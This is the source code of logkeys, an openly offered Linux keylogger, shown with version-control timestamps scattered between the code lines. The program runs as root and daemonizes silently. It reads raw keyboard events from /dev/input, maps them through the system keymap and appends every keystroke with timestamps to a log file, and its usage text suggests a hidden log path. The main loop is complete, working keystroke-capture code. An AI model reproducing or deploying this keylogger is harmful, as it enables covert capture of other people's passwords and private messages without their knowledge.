2009-12-13 11:56:57 +01:00
/*
Copyleft ( ɔ ) 2009 Kernc
This program is free software . It comes with absolutely no warranty whatsoever .
See COPYING for further information .
Project homepage : http : //code.google.com/p/logkeys/
*/
# include <cstdio>
# include <cerrno>
# include <cstring>
# include <sstream>
# include <cstdlib>
# include <csignal>
2010-04-22 04:06:49 +02:00
# include <error.h>
2009-12-13 11:56:57 +01:00
# include <unistd.h>
# include <getopt.h>
# include <sys/file.h>
2010-04-19 23:20:29 +02:00
# include <sys/stat.h>
2009-12-13 11:56:57 +01:00
# include <linux/input.h>
2010-04-22 04:06:49 +02:00
# include "keytables.cc" // character and function key tables and helper functions
2010-02-25 05:05:10 +01:00
# ifdef HAVE_CONFIG_H
# include <config.h> // include config produced from ./configure
# endif
2009-12-13 11:56:57 +01:00
2010-02-25 05:05:10 +01:00
# ifndef PACKAGE_VERSION
# define PACKAGE_VERSION "0.1.0" // if PACKAGE_VERSION wasn't defined in <config.h>
# endif
2010-04-22 04:06:49 +02:00
# define INPUT_EVENT_PATH " / dev / input / "
# define DEFAULT_LOG_FILE " / var / log / logkeys.log"
# define PID_FILE " / var / run / logkeys.pid"
void usage ( )
{
2009-12-13 11:56:57 +01:00
fprintf ( stderr ,
" Usage: logkeys [OPTION]... \n "
" Log depressed keyboard keys. \n "
" \n "
" -s, --start start logging keypresses \n "
" -m, --keymap=FILE use keymap FILE \n "
2010-04-22 04:06:49 +02:00
" -o, --output=FILE log output to FILE ( " DEFAULT_LOG_FILE " ) \n "
2009-12-13 11:56:57 +01:00
" -u, --us-keymap use en_US keymap instead of configured default \n "
" -k, --kill kill running logkeys process \n "
2010-04-22 04:06:49 +02:00
" -d, --device=FILE input event device (eventX from " INPUT_EVENT_PATH " ) \n "
" -?, --help print this help screen \n "
2009-12-13 11:56:57 +01:00
" --export-keymap=FILE export configured keymap to FILE and exit \n "
2010-04-22 04:06:49 +02:00
" --no-func-keys log only character keys \n "
2009-12-13 11:56:57 +01:00
" \n "
" Examples: logkeys -s -m mylang.map -o ~/.secret/keys.log \n "
2010-01-05 17:15:28 +01:00
" logkeys -s -d /dev/input/event6 \n "
2009-12-13 11:56:57 +01:00
" logkeys -k \n "
" \n "
" logkeys version: " PACKAGE_VERSION " \n "
" logkeys homepage: <http://code.google.com/p/logkeys/> \n "
) ;
}
// executes cmd and returns string ouput or "ERR" on pipe error
2010-04-22 04:06:49 +02:00
std : : string execute ( const char * cmd )
{
2009-12-13 11:56:57 +01:00
FILE * pipe = popen ( cmd , " r " ) ;
2010-04-22 04:06:49 +02:00
if ( ! pipe )
error ( EXIT_FAILURE , errno , " Pipe error " ) ;
2009-12-13 11:56:57 +01:00
char buffer [ 128 ] ;
std : : string result = " " ;
2010-04-22 04:06:49 +02:00
while ( ! feof ( pipe ) )
2009-12-13 11:56:57 +01:00
if ( fgets ( buffer , 128 , pipe ) ! = NULL )
result + = buffer ;
pclose ( pipe ) ;
return result ;
}
2010-04-22 04:06:49 +02:00
int input_fd = - 1 ; // input event device file descriptor; global so that signal_handler() can access it
void signal_handler ( int signal )
{
if ( input_fd ! = - 1 )
close ( input_fd ) ; // closing input file will break the infinite while loop
}
void set_utf8_locale ( )
{
// set locale to common UTF-8 for wchars to be recognized correctly
if ( setlocale ( LC_CTYPE , " en_US.UTF-8 " ) = = NULL ) { // if en_US.UTF-8 isn't available
char * locale = setlocale ( LC_CTYPE , " " ) ; // try the locale that corresponds to the value of the associated environment variable LC_CTYPE
if ( locale = = NULL | |
strstr ( locale , " UTF-8 " ) = = NULL | | strstr ( locale , " UTF8 " ) = = NULL | |
strstr ( locale , " utf-8 " ) = = NULL | | strstr ( locale , " utf8 " ) = = NULL )
error ( EXIT_FAILURE , 0 , " LC_CTYPE locale must be of UTF-8 type " ) ;
}
}
void exit_cleanup ( int status , void * discard )
{
// TODO:
2009-12-13 11:56:57 +01:00
}
2010-04-22 04:06:49 +02:00
void kill_existing_process ( )
{
pid_t pid ;
bool via_file = true ;
bool via_pipe = true ;
FILE * temp_file = fopen ( PID_FILE , " r " ) ;
via_file & = ( temp_file ! = NULL ) ;
if ( via_file ) { // kill process with pid obtained from PID file
via_file & = ( fscanf ( temp_file , " %d " , & pid ) = = 1 ) ;
fclose ( temp_file ) ;
}
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
if ( ! via_file ) { // if reading PID from temp_file failed, try ps-grep pipe
const char * pipe_cmd = ( std : : string ( " ps ax | grep ' " ) + program_invocation_name + " ' | grep -v grep " ) . c_str ( ) ;
via_pipe & = ( sscanf ( execute ( pipe_cmd ) . c_str ( ) , " %d " , & pid ) = = 1 ) ;
via_pipe & = ( pid ! = getpid ( ) ) ;
}
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
if ( via_file | | via_pipe ) {
remove ( PID_FILE ) ;
kill ( pid , SIGINT ) ;
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
exit ( EXIT_SUCCESS ) ;
}
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
error ( EXIT_FAILURE , 0 , " No process killed " ) ;
2009-12-13 11:56:57 +01:00
}
2010-04-22 04:06:49 +02:00
void set_signal_handling ( )
{ // catch SIGHUP, SIGINT and SIGTERM signals to exit gracefully
struct sigaction act = { } ;
act . sa_handler = signal_handler ;
sigaction ( SIGHUP , & act , NULL ) ;
sigaction ( SIGINT , & act , NULL ) ;
sigaction ( SIGTERM , & act , NULL ) ;
}
void daemonize ( )
{
if ( getppid ( ) = = 1 ) return ; // if already a daemon, return
switch ( fork ( ) ) {
case 0 : break ; // child continues
case - 1 : error ( EXIT_FAILURE , errno , " Error creating child process " ) ;
default : _exit ( EXIT_SUCCESS ) ; // parent exits
}
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
setsid ( ) ;
if ( chdir ( " / " ) ) ; // wrapped in if() to avoid compiler warning
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
switch ( fork ( ) ) {
case 0 : break ; // second child continues
case - 1 : error ( EXIT_FAILURE , errno , " Error creating 2nd child process " ) ;
default : _exit ( EXIT_SUCCESS ) ; // parent exits
}
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
close ( STDIN_FILENO ) ; // drop stdin, stdout, stderr
close ( STDOUT_FILENO ) ;
close ( STDERR_FILENO ) ;
} //\ daemon
struct arguments {
bool start ; // start keylogger, -s switch
bool kill ; // stop keylogger, -k switch
bool us_keymap ; // use default US keymap, -u switch
int export_keymap ; // export keymap obtained from dumpkeys, --export-keymap
int nofunc ; // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
char * logfile ; // user-specified log filename, -o switch
char * keymap ; // user-specified keymap file, -m switch or --export-keymap
char * device ; // user-specified input event device, given with -d switch
} args = { 0 } ; // default all args to 0x0
int main ( int argc , char * * argv )
{
on_exit ( exit_cleanup , NULL ) ;
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
if ( geteuid ( ) ) { error ( EXIT_FAILURE , errno , " Got r00t? " ) ; }
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
// default log file will be used if none specified
char * default_logfile = ( char * ) DEFAULT_LOG_FILE ;
args . logfile = default_logfile ;
2009-12-13 11:56:57 +01:00
{ // process options and arguments
struct option long_options [ ] = {
{ " start " , no_argument , 0 , ' s ' } ,
{ " keymap " , required_argument , 0 , ' m ' } ,
{ " output " , required_argument , 0 , ' o ' } ,
{ " us-keymap " , no_argument , 0 , ' u ' } ,
{ " kill " , no_argument , 0 , ' k ' } ,
2010-01-05 17:15:28 +01:00
{ " device " , required_argument , 0 , ' d ' } ,
2009-12-13 11:56:57 +01:00
{ " help " , no_argument , 0 , ' ? ' } ,
2010-01-05 17:15:28 +01:00
# define EXPORT_KEYMAP_INDEX 7
2010-04-22 04:06:49 +02:00
{ " export-keymap " , required_argument , & args . export_keymap , 1 } , // option_index of export-keymap is EXPORT_KEYMAP_INDEX (7)
{ " no-func-keys " , no_argument , & args . nofunc , 1 } ,
2009-12-13 11:56:57 +01:00
{ 0 , 0 , 0 , 0 }
} ;
char c ;
int option_index ;
2010-01-05 17:15:28 +01:00
while ( ( c = getopt_long ( argc , argv , " sm:o:ukd:? " , long_options , & option_index ) ) ! = - 1 )
2009-12-13 11:56:57 +01:00
switch ( c ) {
2010-04-22 04:06:49 +02:00
case ' s ' : args . start = true ; break ;
case ' m ' : args . keymap = optarg ; break ;
case ' o ' : args . logfile = optarg ; break ;
case ' u ' : args . us_keymap = true ; break ;
case ' k ' : args . kill = true ; break ;
case ' d ' : args . device = optarg ; break ;
2009-12-13 11:56:57 +01:00
case 0 :
if ( option_index = = EXPORT_KEYMAP_INDEX )
2010-04-22 04:06:49 +02:00
args . keymap = optarg ;
break ;
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
case ' ? ' : usage ( ) ; exit ( EXIT_SUCCESS ) ;
default : usage ( ) ; exit ( EXIT_FAILURE ) ;
2009-12-13 11:56:57 +01:00
}
while ( optind < argc )
2010-04-22 04:06:49 +02:00
error ( 0 , 0 , " Non-option argument %s " , argv [ optind + + ] ) ;
2009-12-13 11:56:57 +01:00
} //\ arguments
// kill existing logkeys process
2010-04-22 04:06:49 +02:00
if ( args . kill ) kill_existing_process ( ) ;
else if ( ! args . start & & ! args . export_keymap ) { usage ( ) ; exit ( EXIT_FAILURE ) ; }
2009-12-13 11:56:57 +01:00
// check for incompatible flags
2010-04-22 04:06:49 +02:00
if ( args . keymap & & args . us_keymap ) {
error ( EXIT_FAILURE , 0 , " Incompatible flags '-m' and '-u'. See usage. " ) ;
2009-12-13 11:56:57 +01:00
}
2010-04-22 04:06:49 +02:00
set_utf8_locale ( ) ;
2009-12-13 11:56:57 +01:00
// read keymap from file
2010-04-22 04:06:49 +02:00
if ( args . start & & args . keymap & & ! args . export_keymap ) {
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
// custom map will be used; erase existing US keytables
memset ( char_keys , ' \0 ' , sizeof ( char_keys ) ) ;
memset ( shift_keys , ' \0 ' , sizeof ( shift_keys ) ) ;
memset ( altgr_keys , ' \0 ' , sizeof ( altgr_keys ) ) ;
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
stdin = freopen ( args . keymap , " r " , stdin ) ;
unsigned int i = - 1 ;
2009-12-13 11:56:57 +01:00
unsigned int line_number = 0 ;
char func_string [ 32 ] ;
char line [ 32 ] ;
while ( ! feof ( stdin ) ) {
2010-04-22 04:06:49 +02:00
if ( + + i > = sizeof ( char_or_func ) ) break ; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used)
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
if ( is_used_key ( i ) ) {
if ( fgets ( line , sizeof ( line ) , stdin ) ) ; // wrapped in if() to avoid compiler warning
2009-12-13 11:56:57 +01:00
+ + line_number ;
}
2010-04-22 04:06:49 +02:00
if ( is_char_key ( i ) ) {
unsigned int index = to_char_keys_index ( i ) ;
if ( sscanf ( line , " %lc %lc %lc " , & char_keys [ index ] , & shift_keys [ index ] , & altgr_keys [ index ] ) < 2 ) {
error_at_line ( EXIT_FAILURE , 0 , args . keymap , line_number , " Too few input characters on line " ) ;
2009-12-13 11:56:57 +01:00
}
}
2010-04-22 04:06:49 +02:00
if ( is_func_key ( i ) ) {
if ( i = = KEY_SPACE ) continue ; // space causes empty string and trouble
if ( sscanf ( line , " %7s " , & func_string [ 0 ] ) ! = 1 )
error_at_line ( EXIT_FAILURE , 0 , args . keymap , line_number , " Invalid function key string " ) ; // does this ever happen?
strcpy ( func_keys [ to_func_keys_index ( i ) ] , func_string ) ;
2009-12-13 11:56:57 +01:00
}
} //\ while (!feof(stdin))
fclose ( stdin ) ;
2010-04-22 04:06:49 +02:00
if ( line_number < N_KEYS_DEFINED )
# define QUOTE(x) #x
error ( EXIT_FAILURE , 0 , " Too few lines in input keymap '%s'; There should be " QUOTE ( N_KEYS_DEFINED ) " lines! " , args . keymap ) ;
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
} // get keymap used by the system and optionally export it to file
else if ( ( args . start & & ! args . us_keymap ) | | args . export_keymap ) {
2009-12-13 11:56:57 +01:00
// custom map will be used; erase existing US keymapping
2010-04-22 04:06:49 +02:00
memset ( char_keys , ' \0 ' , sizeof ( char_keys ) ) ;
memset ( shift_keys , ' \0 ' , sizeof ( shift_keys ) ) ;
memset ( altgr_keys , ' \0 ' , sizeof ( altgr_keys ) ) ;
2009-12-13 11:56:57 +01:00
// get keymap from dumpkeys
// if one knows of a better, more portable way to get wchar_t-s from symbolic keysym-s from `dumpkeys` or `xmodmap` or another, PLEASE LET ME KNOW! kthx
2010-04-22 04:06:49 +02:00
std : : stringstream ss , dump ( execute ( " dumpkeys -n | grep '^ \\ ([[:space:]]shift[[:space:]] \\ )* \\ ([[:space:]]altgr[[:space:]] \\ )*keycode' " ) ) ; // see example output after i.e. `loadkeys slovene`
2009-12-13 11:56:57 +01:00
std : : string line ;
2010-04-22 04:06:49 +02:00
unsigned int i = 0 ; // keycode
2009-12-13 11:56:57 +01:00
int index ;
2010-04-22 04:06:49 +02:00
int utf8code ; // utf-8 code of keysym answering keycode i
2009-12-13 11:56:57 +01:00
while ( std : : getline ( dump , line ) ) {
ss . clear ( ) ;
ss . str ( " " ) ;
utf8code = 0 ;
// replace any U+#### with 0x#### for easier parsing
index = line . find ( " U+ " , 0 ) ;
2010-02-25 05:05:10 +01:00
while ( static_cast < std : : string : : size_type > ( index ) ! = std : : string : : npos ) {
2009-12-13 11:56:57 +01:00
line [ index ] = ' 0 ' ; line [ index + 1 ] = ' x ' ;
index = line . find ( " U+ " , index ) ;
}
2010-04-22 04:06:49 +02:00
assert ( line . size ( ) > 0 ) ;
if ( line [ 0 ] = = ' k ' ) { // if line starts with 'keycode'
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
if ( + + i > = sizeof ( char_or_func ) ) break ; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used)
// TODO: move these two (↓↑) lines out of the parent if()
if ( is_char_key ( i ) ) {
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
index = to_char_keys_index ( i ) ; // only map character keys of keyboard
2009-12-13 11:56:57 +01:00
ss < < & line [ 14 ] ; // 1st keysym starts at index 14 (skip "keycode XXX = ")
ss > > std : : hex > > utf8code ;
2010-04-22 04:06:49 +02:00
// 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly?
2009-12-13 11:56:57 +01:00
if ( line [ 14 ] = = ' + ' & & ( utf8code & 0xB00 ) ) utf8code ^ = 0xB00 ;
2010-04-22 04:06:49 +02:00
char_keys [ index ] = static_cast < wchar_t > ( utf8code ) ;
2009-12-13 11:56:57 +01:00
// if there is a second keysym column, assume it is a shift column
if ( ss > > std : : hex > > utf8code ) {
if ( line [ 14 ] = = ' + ' & & ( utf8code & 0xB00 ) ) utf8code ^ = 0xB00 ;
2010-04-22 04:06:49 +02:00
shift_keys [ index ] = static_cast < wchar_t > ( utf8code ) ;
2009-12-13 11:56:57 +01:00
}
// if there is a third keysym column, assume it is an altgr column
if ( ss > > std : : hex > > utf8code ) {
if ( line [ 14 ] = = ' + ' & & ( utf8code & 0xB00 ) ) utf8code ^ = 0xB00 ;
2010-04-22 04:06:49 +02:00
altgr_keys [ index ] = static_cast < wchar_t > ( utf8code ) ;
2009-12-13 11:56:57 +01:00
}
2010-04-22 04:06:49 +02:00
} //\ if (is_char_key(i))
2009-12-13 11:56:57 +01:00
continue ;
} //\ if (line[0] == 'k')
2010-04-22 04:06:49 +02:00
index = to_char_keys_index ( i ) ;
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
// if line starts with 'shift i'
if ( is_char_key ( i ) ) {
ss < < & line [ 21 ] ; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ")
2009-12-13 11:56:57 +01:00
ss > > std : : hex > > utf8code ;
if ( line [ 21 ] = = ' + ' & & ( utf8code & 0xB00 ) ) utf8code ^ = 0xB00 ; // see line 0XB00CLUELESS
2010-04-22 04:06:49 +02:00
if ( line [ 1 ] = = ' s ' ) // if line starts with "shift"
shift_keys [ index ] = static_cast < wchar_t > ( utf8code ) ;
if ( line [ 1 ] = = ' a ' ) // if line starts with "altgr"
altgr_keys [ index ] = static_cast < wchar_t > ( utf8code ) ;
2009-12-13 11:56:57 +01:00
}
} //\ while (getline(dump, line))
// export keymap to file as requested
2010-04-22 04:06:49 +02:00
if ( args . export_keymap ) {
int keymap_fd = open ( args . keymap , O_CREAT | O_EXCL | O_WRONLY , 0644 ) ;
if ( keymap_fd = = - 1 )
error ( EXIT_FAILURE , errno , " Error opening output file '%s' " , args . keymap ) ;
2010-04-19 23:18:16 +02:00
char buffer [ 32 ] ;
2010-04-22 04:06:49 +02:00
int buflen = 0 ;
2009-12-13 11:56:57 +01:00
for ( unsigned int i = 0 ; i < sizeof ( char_or_func ) ; + + i ) {
2010-04-22 04:06:49 +02:00
if ( is_char_key ( i ) ) {
index = to_char_keys_index ( i ) ;
if ( altgr_keys [ index ] ! = L ' \0 ' )
buflen = sprintf ( buffer , " %lc %lc %lc \n " , char_keys [ index ] , shift_keys [ index ] , altgr_keys [ index ] ) ;
2010-04-19 23:18:16 +02:00
else
2010-04-22 04:06:49 +02:00
buflen = sprintf ( buffer , " %lc %lc \n " , char_keys [ index ] , shift_keys [ index ] ) ; ;
}
else if ( is_func_key ( i ) ) {
buflen = sprintf ( buffer , " %s \n " , func_keys [ to_func_keys_index ( i ) ] ) ;
2009-12-13 11:56:57 +01:00
}
2010-04-22 04:06:49 +02:00
if ( is_used_key ( i ) )
if ( write ( keymap_fd , buffer , buflen ) < buflen )
error ( EXIT_FAILURE , errno , " Error writing to keymap file '%s' " , args . keymap ) ;
2009-12-13 11:56:57 +01:00
}
2010-04-19 23:18:16 +02:00
close ( keymap_fd ) ;
2010-04-22 04:06:49 +02:00
error ( EXIT_SUCCESS , 0 , " Success writing keymap to file '%s' " , args . keymap ) ;
exit ( EXIT_SUCCESS ) ;
} //\ if (args.export_keymap)
2009-12-13 11:56:57 +01:00
}
2010-04-22 04:06:49 +02:00
if ( args . device = = NULL ) { // no device given with -d switch
2010-01-05 17:15:28 +01:00
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
2010-04-22 04:06:49 +02:00
std : : string output = execute ( " grep Name /proc/bus/input/devices | grep -nE '[Kk]eyboard|kbd' " ) ;
2010-01-05 17:15:28 +01:00
2010-04-22 04:06:49 +02:00
std : : stringstream input_dev_index ;
input_dev_index < < INPUT_EVENT_PATH ;
input_dev_index < < " event " ;
input_dev_index < < ( atoi ( output . c_str ( ) ) - 1 ) ; // the correct input event # is (output - 1)
2010-01-05 17:15:28 +01:00
2010-04-22 04:06:49 +02:00
args . device = const_cast < char * > ( input_dev_index . str ( ) . c_str ( ) ) ; // const_cast safe because original isn't modified
}
else { // event device supplied as -d argument
std : : string d ( args . device ) ;
std : : string : : size_type i = d . find_last_of ( ' / ' ) ;
args . device = const_cast < char * > ( ( std : : string ( INPUT_EVENT_PATH ) + d . substr ( i = = std : : string : : npos ? 0 : i + 1 ) ) . c_str ( ) ) ;
}
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
set_signal_handling ( ) ;
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
//~ daemonize();
if ( daemon ( 0 , 0 ) = = - 1 ) // become daemon
error ( EXIT_FAILURE , errno , " Failed to become daemon " ) ;
2009-12-13 11:56:57 +01:00
// create temp file carrying PID for later retrieval
2010-04-22 04:06:49 +02:00
int temp_fd = open ( PID_FILE , O_WRONLY | O_CREAT | O_EXCL , 0644 ) ;
2010-04-19 23:18:16 +02:00
if ( temp_fd ! = - 1 ) {
2009-12-13 11:56:57 +01:00
char pid_str [ 16 ] = { 0 } ;
sprintf ( pid_str , " %d " , getpid ( ) ) ;
if ( write ( temp_fd , pid_str , strlen ( pid_str ) ) = = - 1 ) {
2010-04-22 04:06:49 +02:00
error ( EXIT_FAILURE , errno , " Error writing to PID file ' " PID_FILE " ' " ) ;
2009-12-13 11:56:57 +01:00
}
2010-04-19 23:18:16 +02:00
}
else {
if ( errno = = EEXIST )
2010-04-22 04:06:49 +02:00
error ( EXIT_FAILURE , errno , " Another process already running ( " PID_FILE " )? (Quitting.) " ) ;
else
error ( EXIT_FAILURE , errno , " Error opening PID file ' " PID_FILE " ' " ) ;
2009-12-13 11:56:57 +01:00
} //\ temp file
// open input device for reading
2010-04-22 04:06:49 +02:00
input_fd = open ( args . device , O_RDONLY ) ;
2009-12-13 11:56:57 +01:00
if ( input_fd = = - 1 ) {
2010-04-22 04:06:49 +02:00
remove ( PID_FILE ) ;
error ( EXIT_FAILURE , errno , " Error opening input event device '%s' " , args . device ) ;
2009-12-13 11:56:57 +01:00
}
2010-04-22 04:06:49 +02:00
// if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't!
args . logfile = realpath ( args . logfile , NULL ) ; // avoid relative paths
if ( strcmp ( args . logfile , DEFAULT_LOG_FILE ) ! = 0 ) {
2010-04-19 23:18:16 +02:00
seteuid ( getuid ( ) ) ;
setegid ( getgid ( ) ) ;
}
2009-12-13 11:56:57 +01:00
// open log file as stdout (if file doesn't exist, create it with safe 0600 permissions)
umask ( 0177 ) ;
2010-04-22 04:06:49 +02:00
stdout = freopen ( args . logfile , " a " , stdout ) ;
2009-12-13 11:56:57 +01:00
if ( stdout = = NULL ) {
2010-04-22 04:06:49 +02:00
remove ( PID_FILE ) ;
error ( 0 , errno , " Error opening output file '%s' " , args . logfile ) ;
free ( args . logfile ) ; // free memory allocated by realpath()
exit ( EXIT_FAILURE ) ;
2009-12-13 11:56:57 +01:00
}
2010-04-22 04:06:49 +02:00
free ( args . logfile ) ; // free memory allocated by realpath()
2009-12-13 11:56:57 +01:00
// we've got everything we need, now drop privileges by becoming 'nobody'
2010-04-22 04:06:49 +02:00
setegid ( 65534 ) ; seteuid ( 65534 ) ;
2009-12-13 11:56:57 +01:00
unsigned int scan_code , prev_code = 0 ; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>)
struct input_event event ;
2010-04-22 04:06:49 +02:00
char timestamp [ 32 ] ; // timestamp string, long enough to hold format "\n%F %T%z > "
2009-12-13 11:56:57 +01:00
char repeat [ 16 ] ; // holds "key repeated" string of the format "<x%d>"
bool shift_in_effect = false ;
bool altgr_in_effect = false ;
2009-12-14 12:52:14 +01:00
bool ctrl_in_effect = false ; // used for identifying Ctrl+C / Ctrl+D
2010-04-22 04:06:49 +02:00
int count_repeats = 0 ; // count_repeats differs from the actual number of repeated characters!! only the OS knows how these two values are related (by respecting configured repeat speed and delay)
2009-12-13 11:56:57 +01:00
time_t cur_time ;
time ( & cur_time ) ;
2010-04-22 04:06:49 +02:00
# define TIME_FORMAT "%F %T%z > "
strftime ( timestamp , sizeof ( timestamp ) , " \n " TIME_FORMAT , localtime ( & cur_time ) ) ;
2009-12-13 11:56:57 +01:00
fprintf ( stdout , " Logging started ... \n %s " , timestamp ) ;
fflush ( stdout ) ;
// these event.value-s aren't defined in <linux/input.h> ?
# define EV_MAKE 1 // when key pressed
# define EV_BREAK 0 // when key released
# define EV_REPEAT 2 // when key switches to repeating after short delay
2010-04-22 04:06:49 +02:00
while ( read ( input_fd , & event , sizeof ( struct input_event ) ) > 0 ) { // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
if ( event . type ! = EV_KEY ) continue ; // keyboard events are always of type EV_KEY
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
scan_code = event . code ;
if ( scan_code > = sizeof ( char_or_func ) ) { // keycode out of range, log error
fprintf ( stdout , " <E-%x> " , scan_code ) ;
continue ;
}
// on key repeat ; must check before on key press
if ( event . value = = EV_REPEAT ) {
+ + count_repeats ;
} else if ( count_repeats ) {
if ( prev_code = = KEY_RIGHTSHIFT | | prev_code = = KEY_LEFTCTRL | |
prev_code = = KEY_RIGHTALT | | prev_code = = KEY_LEFTALT | |
prev_code = = KEY_LEFTSHIFT | | prev_code = = KEY_RIGHTCTRL ) ; // do nothing if the cause of repetition are these function keys
else {
if ( args . nofunc & & is_func_key ( prev_code ) ) ; // if repeated was function key, and if we don't log function keys, then don't log repeat either
else {
sprintf ( repeat , " <#+%d> " , count_repeats ) ; // else print some dubious note of repetition
fprintf ( stdout , " %s " , repeat ) ;
2009-12-13 11:56:57 +01:00
}
2010-04-22 04:06:49 +02:00
}
count_repeats = 0 ; // reset count for future use
}
// on key press
if ( event . value = = EV_MAKE ) {
// on ENTER key or Ctrl+C/Ctrl+D event append timestamp
if ( scan_code = = KEY_ENTER | | scan_code = = KEY_KPENTER | |
( ctrl_in_effect & & ( scan_code = = KEY_C | | scan_code = = KEY_D ) ) ) {
if ( ctrl_in_effect )
fprintf ( stdout , " %lc " , char_keys [ to_char_keys_index ( scan_code ) ] ) ; // log C or D
strftime ( timestamp , sizeof ( timestamp ) , " \n " TIME_FORMAT , localtime ( & event . time . tv_sec ) ) ;
fprintf ( stdout , " %s " , timestamp ) ; // then newline and timestamp
continue ; // but don't log "<Enter>"
}
if ( scan_code = = KEY_LEFTSHIFT | | scan_code = = KEY_RIGHTSHIFT )
shift_in_effect = true ;
if ( scan_code = = KEY_RIGHTALT )
altgr_in_effect = true ;
if ( scan_code = = KEY_LEFTCTRL | | scan_code = = KEY_RIGHTCTRL )
ctrl_in_effect = true ;
// print character or string coresponding to received keycode
if ( is_char_key ( scan_code ) ) {
if ( altgr_in_effect ) {
wchar_t wch = altgr_keys [ to_char_keys_index ( scan_code ) ] ;
if ( wch ! = L ' \0 ' ) fprintf ( stdout , " %lc " , wch ) ;
else if ( shift_in_effect )
fprintf ( stdout , " %lc " , shift_keys [ to_char_keys_index ( scan_code ) ] ) ;
else
fprintf ( stdout , " %lc " , char_keys [ to_char_keys_index ( scan_code ) ] ) ;
}
else if ( shift_in_effect )
fprintf ( stdout , " %lc " , shift_keys [ to_char_keys_index ( scan_code ) ] ) ;
else
fprintf ( stdout , " %lc " , char_keys [ to_char_keys_index ( scan_code ) ] ) ;
}
else if ( is_func_key ( scan_code ) ) {
if ( ! args . nofunc ) { // only log function keys if --no-func-keys not requested
fprintf ( stdout , " %s " , func_keys [ to_func_keys_index ( scan_code ) ] ) ;
}
else if ( scan_code = = KEY_SPACE | | scan_code = = KEY_TAB ) {
// but always log a single space for Space and Tab keys
fprintf ( stdout , " " ) ;
2009-12-13 11:56:57 +01:00
}
}
2010-04-22 04:06:49 +02:00
else fprintf ( stdout , " <E-%x> " , scan_code ) ; // keycode is neither of character nor function, log error
2009-12-13 11:56:57 +01:00
}
2010-04-22 04:06:49 +02:00
// on key release
if ( event . value = = EV_BREAK ) {
if ( scan_code = = KEY_LEFTSHIFT | | scan_code = = KEY_RIGHTSHIFT )
shift_in_effect = false ;
if ( scan_code = = KEY_RIGHTALT )
altgr_in_effect = false ;
if ( scan_code = = KEY_LEFTCTRL | | scan_code = = KEY_RIGHTCTRL )
ctrl_in_effect = false ;
}
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
prev_code = scan_code ;
fflush ( stdout ) ;
} // while (read(input_fd))
2009-12-13 11:56:57 +01:00
// append final timestamp, close files and exit
time ( & cur_time ) ;
strftime ( timestamp , sizeof ( timestamp ) , " %F %T%z " , localtime ( & cur_time ) ) ;
fprintf ( stdout , " \n \n Logging stopped at %s \n \n " , timestamp ) ;
fclose ( stdout ) ;
close ( input_fd ) ;
close ( temp_fd ) ;
2010-04-22 04:06:49 +02:00
remove ( PID_FILE ) ;
2009-12-13 11:56:57 +01:00
2010-04-22 04:06:49 +02:00
exit ( EXIT_SUCCESS ) ;
2009-12-13 11:56:57 +01:00
}